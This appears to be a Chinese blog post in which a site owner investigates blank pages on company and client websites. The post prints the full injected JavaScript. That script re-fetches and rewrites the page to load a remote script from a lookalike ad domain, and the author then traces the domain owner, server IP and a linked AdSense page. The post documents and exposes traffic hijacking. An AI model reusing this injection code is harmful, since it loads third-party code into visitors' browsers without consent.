今天发现公司网站和客户的网站偶尔会出现白页，单击右键却看到一段代码：
<html><head></head><body><script>!function(){function a(){var a=new Date;a.setTime(a.getTime()+6e4),document.cookie="sessioned=1;expires="+a.toUTCString()}function b(b){a(),setTimeout(function(){location.href=location.href},b)}var d,e,f,c=1e4;try{if(!/sessioned=1/.test(document.cookie)){a(),e=document.createElement("script"),f=!1,e.src="//matchdp.sankuai.cn.shuyang5.com/fw0709/gg.js?1",d=new XMLHttpRequest,d.open("GET",window.location,!0),d.setRequestHeader("X-Requested-With","XMLHttpRequest");try{d.timeout=c}catch(g){}d.send(),d.onreadystatechange=function(){try{if(4==d.readyState){if(200!=d.status||"text/html"!=d.getResponseHeader("Content-Type"))throw"";text=d.responseText.replace(/<\/body>/i,e.outerHTML+"</body>"),document.open("text/html","replace"),document.write(text),setTimeout(function(){document.close()},1e3),f=!0}}catch(a){b(100)}}}}catch(g){b(150)}finally{setTimeout(function(){f||b(1)},c+1e3)}}();</script></body></html>
目测广告的机率比较大，决定找一下源头：
1.shuyang5.com的所有者是：jinmi.com
2.jinmi.com的所有者安徽合肥的个人
3.通过时一步分析发现了另一个页面：http://matchdp.sankuai.cn.shuyang5.com/tj/mltj2.html；并且上面有站长统计，点击后显示此站点叫“简单点”，估计站长站是知道这是谁的站点的。
4.以上页面的服务器用的都是阿里云(139.129.99.6)的，我N个阿里云的服务器均出现这个现象。看来阿里云技术的嫌疑大些。
5.通过IP反查又找到了另外的站点：http://cpro.jian123.com/lm6.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <meta name="keywords" content="联盟"> <meta name="description" content="联盟"> </head> <body> <div id="main"> <script async src="//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script> <!— 300*250新 —> <ins class="adsbygoogle" style="display:inline-block;width:300px;height:250px" data-ad-client="ca-pub-7963971038590542" data-ad-slot="8049044918"></ins> <script> (adsbygoogle = window.adsbygoogle || []).push({}); </script> </body> </html>
通过对其代码的分析，是挂广告赚钱无疑。
无耐水平有限，只找到这些线索。有兴趣的朋友，欢迎交流~